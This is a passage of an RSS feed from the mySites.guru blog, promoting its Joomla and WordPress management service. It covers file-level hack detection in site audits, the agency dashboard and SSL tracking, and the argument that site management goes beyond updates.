&lt;p&gt;At the start of every audit we also run our &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; tools, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;capturing over 100 quick checks of your site&lt;/a&gt;. Added to the audit that’s even more checks! These include WordPress configuration checks like &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the admin bar logo&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;debug constant management&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;cleaning up default Sample Page and Hello World content&lt;/a&gt;, each with a one-click fix.&lt;/p&gt;
&lt;p&gt;The audit first compiles a list of all the folders in your webspace - without exceptions - and then grabs a list of the files in those folders. If you are not sure which of the two scans finds a given problem, &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot vs audit&lt;/a&gt; maps one to the other.&lt;/p&gt;
&lt;p&gt;We then run an exhaustive process which includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Identifying it the file is a core Joomla or WordPress file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If it’s a core file, identifying if that file has been modified since release&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If it’s &lt;em&gt;not&lt;/em&gt; a core file but sits in a folder core owns, flagging it as an &lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;impostor file&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the core file is modified, doing a comparison with the original file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Storing the md5 hash of the file for future comparison&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Looping through every single line of code in every single file&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Searching every single line of code, for one of roughly 1,500 patterns of previous hacks we have seen, and if found marking a file as “suspect”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Checking the md5 hash of the file against over 14,000 specific md5 hashes of previously declared “hacked” files. There are no false positives, each of these 14,000 md5 hashes has been manually checked and confirmed to match a file which is hacked&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We check the created, modified and other metadata of each file, including the EXIF data on images (where hacks are known to reside!)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We identify any encrypted files, PHP error logs, Archive files, files over 2mb in size, zero byte files and many other classifications. See our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;cleaning up dangerous files&lt;/a&gt; for details on why these matter.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once the audit is over we notify you so you can login to and review the results. The screenshot below shows the first three sections of the audit tab.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-17.48.05-1024x950.B80KbOU4_2uLugA.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-17.48.05-1024x950.B80KbOU4_ZTvPDo.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.48.05-1024x950.B80KbOU4_1Ptx2F.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.48.05-1024x950.B80KbOU4_HxVB1.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.48.05-1024x950.B80KbOU4_2uLugA.webp 1024w&quot; alt=&quot;ScreenShot 17.48.05&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;950&quot; /&gt;&lt;em&gt;Example Audit Results (truncated)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;As you can see we display the audit results in the same format as the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; tab, with the number of problems, name of the tool, a link to any video, a helpful &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;learn more page&lt;/a&gt;, and a button used to investigate our findings.&lt;/p&gt;
&lt;h2&gt;Suspect files tool&lt;/h2&gt;
&lt;p&gt;Our most popular tool is the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is the tool that lists all the files that have matched either our 1,500+ regex patterns, or one of our 14,000 md5 hashes. Just because a file is listed doesnt mean its hacked, unless we specifically state so, as the regex pattern matches are designed to raise false positives and highlight other things (like hidden spammy links to template providers!).&lt;/p&gt;
&lt;p&gt;If your file is a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;known backdoor for a hacker - we mark it as such&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-17.50.42-1024x363.D0CsnEzA_1MigkR.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-17.50.42-1024x363.D0CsnEzA_ZdNReN.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.50.42-1024x363.D0CsnEzA_1yj7Gw.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.50.42-1024x363.D0CsnEzA_ZCUjC9.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.50.42-1024x363.D0CsnEzA_1MigkR.webp 1024w&quot; alt=&quot;Example hacked file content &quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;363&quot; /&gt;&lt;em&gt;Example hacked file, this one is an insecure form that allows anyone to upload any file their like to the webspace!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-17.52.24-1024x277.C75mMRxr_Z1Ntq0y.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-17.52.24-1024x277.C75mMRxr_1EwAXp.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.52.24-1024x277.C75mMRxr_2i51kD.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.52.24-1024x277.C75mMRxr_Z6rRuG.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.52.24-1024x277.C75mMRxr_Z1Ntq0y.webp 1024w&quot; alt=&quot;ScreenShot 17.52.24&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;277&quot; /&gt;&lt;em&gt;This example is a “pretend” image that actually has &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hackers code&lt;/a&gt; embedded into the image to allow the hacker to run any PHP code it likes - this specific example is part of a larger hack&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;By clicking any of the file names, you can see a preview of the section of the file we think is suspect. You can also see when it was modified, its size, and its permissions.&lt;/p&gt;
&lt;p&gt;You can use our tools to edit the file directly in mySites.guru and then save the changes, and we will upload them to your site, no need to find your FTP client. You can also delete the whole file with a single click.&lt;/p&gt;
&lt;p&gt;That single-file editing has since grown into a full &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt;: the same jailed, logged connection, extended to browse, edit, upload and delete anywhere in your site root, not just the files an audit has already flagged.&lt;/p&gt;
&lt;h2&gt;Hacked hashes&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/Screenshot-2020-03-31-at-00.17.53-1024x378.DcEo_0Vl_ZkbyLC.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-03-31-at-00.17.53-1024x378.DcEo_0Vl_Z1Osr6c.webp 640w, https://mysites.guru/_astro/Screenshot-2020-03-31-at-00.17.53-1024x378.DcEo_0Vl_DzfsI.webp 750w, https://mysites.guru/_astro/Screenshot-2020-03-31-at-00.17.53-1024x378.DcEo_0Vl_ZQBQTI.webp 828w, https://mysites.guru/_astro/Screenshot-2020-03-31-at-00.17.53-1024x378.DcEo_0Vl_ZkbyLC.webp 1024w&quot; alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;378&quot; /&gt;&lt;em&gt;Example export from our database.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;One of the things that sets us apart from most other services, is that we crowdsource data on hacks and backdoors.&lt;/p&gt;
&lt;p&gt;In practice, this means that once a hack is discovered and confirmed on one Joomla site (for example), patterns and regexp are created, approved, and rolled out to the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;90,000+ sites&lt;/a&gt; the next time they are audited. Including your sites!&lt;/p&gt;
&lt;p&gt;This means you benefit from the discovery of emerging hacks and trends we see on other sites. Our system is totally dynamic and self-improving, even without human interaction and people often find hacks on their site when they add them to mySites.guru, that have been left dormant for years, or badly cleaned on previous clean ups.&lt;/p&gt;
&lt;h2&gt;Fully automated detection improvements&lt;/h2&gt;
&lt;p&gt;We can also manually improve the audit (and we do) multiple times a day, and with our automatic rollout/upgrade of our tools connector on your site - you get the very latest protection without having to manually upgrade our connector!&lt;/p&gt;
&lt;h2&gt;File information tools&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-17.55.50-938x1024.DCr5L1hw_Z18riyY.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-17.55.50-938x1024.DCr5L1hw_Z2rVNLt.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.55.50-938x1024.DCr5L1hw_9aIPJ.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.55.50-938x1024.DCr5L1hw_Z1tXHFt.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-17.55.50-938x1024.DCr5L1hw_Z18riyY.webp 938w&quot; alt=&quot;ScreenShot 17.55.50&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 938px) 938px, 100vw&quot; width=&quot;938&quot; height=&quot;1024&quot; /&gt;&lt;/p&gt;
&lt;p&gt;One of the main sections in the mySites.guru audit tab is the list of File Information Tools.&lt;/p&gt;
&lt;p&gt;These allow you to investigate a list of files that match certain classifications, such as encrypted files, or files over 2mb. The audit also surfaces &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files and dot-folders&lt;/a&gt; that most file managers never show you and that hackers routinely exploit.&lt;/p&gt;
&lt;p&gt;Over the years these are the tools we have used to identify new and emerging hacks, or to look for something specific, like files that allow file uploads or sending email for example. The audit also includes a dedicated &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;email configuration check&lt;/a&gt; that sends a real test email from your site and verifies it arrives.&lt;/p&gt;
&lt;h2&gt;What makes this audit different?&lt;/h2&gt;
&lt;p&gt;All our hack detection is based on over a decade of real life hacks for Joomla and WordPress (and not generic rule based detection like others). &lt;strong&gt;We do not buy in someone else’s API.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;If you’re hacked, we find it and hand you the fix&lt;/h3&gt;
&lt;p&gt;A real-world example: the &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; was detected across thousands of sites through our md5 hash matching and suspect content patterns. See our breakdown of the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework vulnerability&lt;/a&gt; for another example of how hidden extension dependencies create security blind spots that only a file-level audit catches. After all, mySites.guru was created because, at the time, I was doing all this manually myself to fix hacked client sites and I needed a way to automate much of what I did.&lt;/p&gt;
&lt;h2&gt;Out of your depth and need help?&lt;/h2&gt;
&lt;p&gt;If the mySites.guru audit finds your Joomla or WordPress site is hacked, and you are unsure how to fix it with our tools, or just want us to take care of everything for you, you can escalate this to us using the service at &lt;strong&gt;&lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;https://fix.mysites.guru/&lt;/a&gt;&lt;/strong&gt; for &lt;strong&gt;SET FEE priced hack fixes.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Not a subscriber yet? &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Start with a free site audit&lt;/a&gt;&lt;/strong&gt; - no credit card, no commitment. Connect your site and see what’s hiding in your webspace.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;See how these tools fit into a broader strategy in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;security guide for agencies&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>audit tools</category><category>hack detection</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/img/og/blog/security-audit-tools.webp" length="0" type="image/webp"/></item><item><title>The Agency Dashboard for All Your Sites</title><link>https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/</guid><description>The mySites.guru main dashboard surfaces SSL status, update counts, audit alerts, uptime and more for every connected Joomla or WordPress site at a glance.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru dashboard for &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; pulls your sites’ key information into one place. Having this data to hand, instead of spread across disparate systems, spreadsheets, and post-it notes, means faster decisions and a clear view of what needs doing.&lt;/p&gt;
&lt;h2&gt;The main sites list&lt;/h2&gt;
&lt;p&gt;The first page you get to after login is the main list of your sites.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 21.43.43&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;745&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.43.43-1024x745.Bzf-qi4__U5qrg.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-01-29-21.43.43-1024x745.Bzf-qi4__nltWI.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.43.43-1024x745.Bzf-qi4__1RNoYH.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.43.43-1024x745.Bzf-qi4__1Wnl71.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-01-29-21.43.43-1024x745.Bzf-qi4__U5qrg.webp 1024w&quot; /&gt;&lt;em&gt;The Main Sites List In Your Account&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This page brings together all your Joomla and WordPress sites. In a single mySites.guru account you can have UNLIMITED sites of any platform.&lt;/p&gt;
&lt;p&gt;On this page we list the most important information visually, so you can immediately see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Number of tags on a site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Audit not yet viewed notification&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;No SSL Certificate used on site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Number of &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;updates available&lt;/a&gt; per site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The site’s server PHP Version&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The sites’s platform (Joomla/WordPress) version&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the site is &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;hacked&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For version numbers, we highlight them green if the latest version, orange if out of date and red if end of life.&lt;/p&gt;
&lt;p&gt;From this page you can even export a CSV List of your sites and their overview information for processing in a spreadsheet or other system.&lt;/p&gt;
&lt;p&gt;You can also use the quick links to view your site, or, if configured, use the admin link to Auto Login to your Joomla/WordPress Admin console - a single click login!&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Screenshot of mySites.guru feature&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 556px) 556px, 100vw&quot; width=&quot;556&quot; height=&quot;212&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-03-29-at-16.15.01.CLpKpjW2_2dKB2K.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-03-29-at-16.15.01.CLpKpjW2_2dKB2K.webp 556w&quot; /&gt;The globe icon = Site frontend
The link icon = One Click Admin Login&lt;/p&gt;
&lt;h2&gt;The left menu: check important items&lt;/h2&gt;
&lt;p&gt;Depending dynamically on the information we have on your sites, your left menu will also have some important checks as menu items to filter your sites list.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 18.11.09&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 348px) 348px, 100vw&quot; width=&quot;348&quot; height=&quot;1024&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.11.09-348x1024.BrI5I7C6_Z21k0Os.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.11.09-348x1024.BrI5I7C6_Z21k0Os.webp 348w&quot; /&gt;&lt;em&gt;Left Menu&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;These are just some of the menu items that can be visible based on the data on your sites, bringing together, in one place, a list of tasks you can undertake to get your sites in better shape, to allow you to see the &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;updates available&lt;/a&gt; on your sites and then by clicking the menu links, to filter your sites by that item - showing which sites you need to take action on.&lt;/p&gt;
&lt;h2&gt;Other site information&lt;/h2&gt;
&lt;p&gt;Just to highlight some other menu items that bring together your site data in one place, you can find the “Other Site Information menu group, this contains several items such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Webservers, by hostname&lt;/strong&gt; - a list of your server hostnames and the filter to see which sites are on which servers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Joomla Extensions&lt;/strong&gt; - a complete set of tools for viewing and managing your Joomla extensions, and listing which sites they are on, and their versions and data&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Joomla Update Site&lt;/strong&gt;s - a list of all the Joomla Update Sites for your extensions, and the ability to set and disable automatic extension/plugin updates&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your Site Screenshots&lt;/strong&gt; - FREE graphical screenshots of the home page of every site you have in your account, and links to enable a public “show off” page of these.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Your SSL Certificate Expirations&lt;/strong&gt; - see below…&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;SSL expiration tracking&lt;/h2&gt;
&lt;p&gt;One of these “Other Site Information” Menu items is for SSL Expiration Dates.&lt;/p&gt;
&lt;p&gt;On this page we bring together in one place, a list of all your sites with SSL Certificates installed, and list, by expiration date, their certificate issuers and expiration date.&lt;/p&gt;
&lt;p&gt;The items nearer the top will expire first (But dont worry, mySites.guru checks your site several times a day with the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshot&lt;/a&gt;, and if your SSL is getting close to expiration we alert you by email!)&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;ScreenShot 17.46.57&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;674&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-04-17.46.57-1024x674.DvBWrjNX_1M6Faz.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-04-17.46.57-1024x674.DvBWrjNX_28KvYR.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-04-17.46.57-1024x674.DvBWrjNX_L9wAY.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-04-17.46.57-1024x674.DvBWrjNX_tVUru.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-04-17.46.57-1024x674.DvBWrjNX_1M6Faz.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That’s a quick look at how mySites.guru pulls data from unlimited Joomla and WordPress sites into one dashboard.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Site intelligence is covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>dashboard</category><category>agency tools</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/site-information-all-in-one-place-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Site Management Is More Than Just Updates</title><link>https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/</link><guid isPermaLink="true">https://mysites.guru/blog/site-management-is-about-more-than-just-upgrades-backups-and-uptime-monitoring/</guid><description>Real site management means security audits, best practice checks, and hack detection - not just bulk updates, backups, and uptime pings.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;“Managed site hosting”, “managed server hosting”, “managed updates” - you hear it everywhere. But &lt;strong&gt;there is so much more than updates, backups, and monitoring&lt;/strong&gt; needed to run a successful agency full of sites.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru logo on dark background&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;576&quot; src=&quot;https://mysites.guru/_astro/my-sites-guru-logo-1280x720-1067x600-1024x576.C8XcOxzM_15rtX9.webp&quot; srcset=&quot;https://mysites.guru/_astro/my-sites-guru-logo-1280x720-1067x600-1024x576.C8XcOxzM_ZwsnFs.webp 640w, https://mysites.guru/_astro/my-sites-guru-logo-1280x720-1067x600-1024x576.C8XcOxzM_jNoe5.webp 750w, https://mysites.guru/_astro/my-sites-guru-logo-1280x720-1067x600-1024x576.C8XcOxzM_2wuAed.webp 828w, https://mysites.guru/_astro/my-sites-guru-logo-1280x720-1067x600-1024x576.C8XcOxzM_15rtX9.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At mySites.guru, we manage &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/&quot;&gt;tens of thousands of Joomla and WordPress sites&lt;/a&gt;, backed by &lt;a href=&quot;https://www.phil-taylor.com&quot;&gt;over a decade of experience within the Joomla project&lt;/a&gt;, delivering architectures for large companies, small companies, and digital agencies.&lt;/p&gt;
&lt;p&gt;There is so much more to website management than running bulk updates, backups, and checking for uptime.&lt;/p&gt;
&lt;p&gt;Plenty of services exist for WordPress, and a handful for Joomla - but very few &lt;strong&gt;handle both platforms&lt;/strong&gt; the way mySites.guru does. Even the big players like GoDaddy have bought companies like ManageWP and rebranded it &lt;a href=&quot;https://www.godaddy.com/en-uk/pro/hub-dashboard&quot;&gt;GoDaddyPro&lt;/a&gt; (WordPress only, though).&lt;/p&gt;
&lt;p&gt;Building a tool that does mass updates, backups, and uptime is table stakes. We’ve watched companies attempt it as a side project with contract help. The hard part is everything else.&lt;/p&gt;
&lt;h2&gt;Why is mySites.guru different?&lt;/h2&gt;
&lt;p&gt;If you run a digital agency or freelance, you need &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;a complete solution&lt;/a&gt;. Not just another updates dashboard.&lt;/p&gt;
&lt;h3&gt;Site management is hard work&lt;/h3&gt;
&lt;p&gt;When a customer calls saying their &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;site is hacked&lt;/a&gt;, they blame you, not their underinvestment. We get it.&lt;/p&gt;
&lt;h3&gt;Best practice is the key to preventative maintenance&lt;/h3&gt;
&lt;p&gt;But &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice&lt;/a&gt; is hard to keep on top of, hard to consistently apply to all sites - especially when you’ve moved on to the next build or customer, and new attacks keep appearing.&lt;/p&gt;
&lt;p&gt;When a site gets hacked, you need the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;tools to investigate and fix the hack&lt;/a&gt; yourself, and you need &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;someone to escalate to for bigger issues&lt;/a&gt;. We’ve got your back on that too.&lt;/p&gt;
&lt;h3&gt;Handling 100-1,000 websites is a full-time job&lt;/h3&gt;
&lt;p&gt;Or at least it should be. Many agencies can’t spare a person to do it full-time, and &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;many customers don’t want to pay for maintenance&lt;/a&gt; - until everything goes wrong.&lt;/p&gt;
&lt;p&gt;You don’t always have time to check every setting on every site, especially the one the customer still hasn’t paid for.&lt;/p&gt;
&lt;p&gt;Your datacenter and VPS provider only care about power and connectivity. They don’t help with site problems, hacks, or brokenness. It’s never their problem.&lt;/p&gt;
&lt;p&gt;Sometimes you just need &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;an expert&lt;/a&gt; who can talk the talk with your web host and get them to actually make changes.&lt;/p&gt;
&lt;h3&gt;What mySites.guru gives you beyond updates, backups, and uptime&lt;/h3&gt;
&lt;p&gt;From day one, &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; has been an &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;unlimited service at a set price&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt;, with a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;toolset&lt;/a&gt; that goes well beyond what’s listed on the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Every new customer gets a &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;free month of service&lt;/a&gt; so you can use the tools on your own sites and see what’s really going on under the hood.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Not your typical site management dashboard&lt;/p&gt;
  &lt;p&gt;This is a unique toolset not found elsewhere - security audits, hack detection, and best practice enforcement built into every plan.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Snapshot results showing best practice checks across multiple site categories&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;538&quot; src=&quot;https://mysites.guru/_astro/snapshot-1024x538.m1yQqSAU_Z1WBYxq.webp&quot; srcset=&quot;https://mysites.guru/_astro/snapshot-1024x538.m1yQqSAU_Z1kYpFJ.webp 640w, https://mysites.guru/_astro/snapshot-1024x538.m1yQqSAU_2siLo9.webp 750w, https://mysites.guru/_astro/snapshot-1024x538.m1yQqSAU_1pFkpw.webp 828w, https://mysites.guru/_astro/snapshot-1024x538.m1yQqSAU_Z1WBYxq.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;The Snapshot&lt;/h4&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru Snapshot&lt;/a&gt; instantly checks your site against a large number of best practice criteria and reports results within seconds, with links to explore any issues found.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Audit results showing file-level security scan with flagged items&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;538&quot; src=&quot;https://mysites.guru/_astro/audit-1024x538.CEyLUmL4_Zi5SVl.webp&quot; srcset=&quot;https://mysites.guru/_astro/audit-1024x538.CEyLUmL4_ggTBM.webp 640w, https://mysites.guru/_astro/audit-1024x538.CEyLUmL4_1MtV5o.webp 750w, https://mysites.guru/_astro/audit-1024x538.CEyLUmL4_cfbG0.webp 828w, https://mysites.guru/_astro/audit-1024x538.CEyLUmL4_Zi5SVl.webp 1024w&quot; /&gt;&lt;/p&gt;
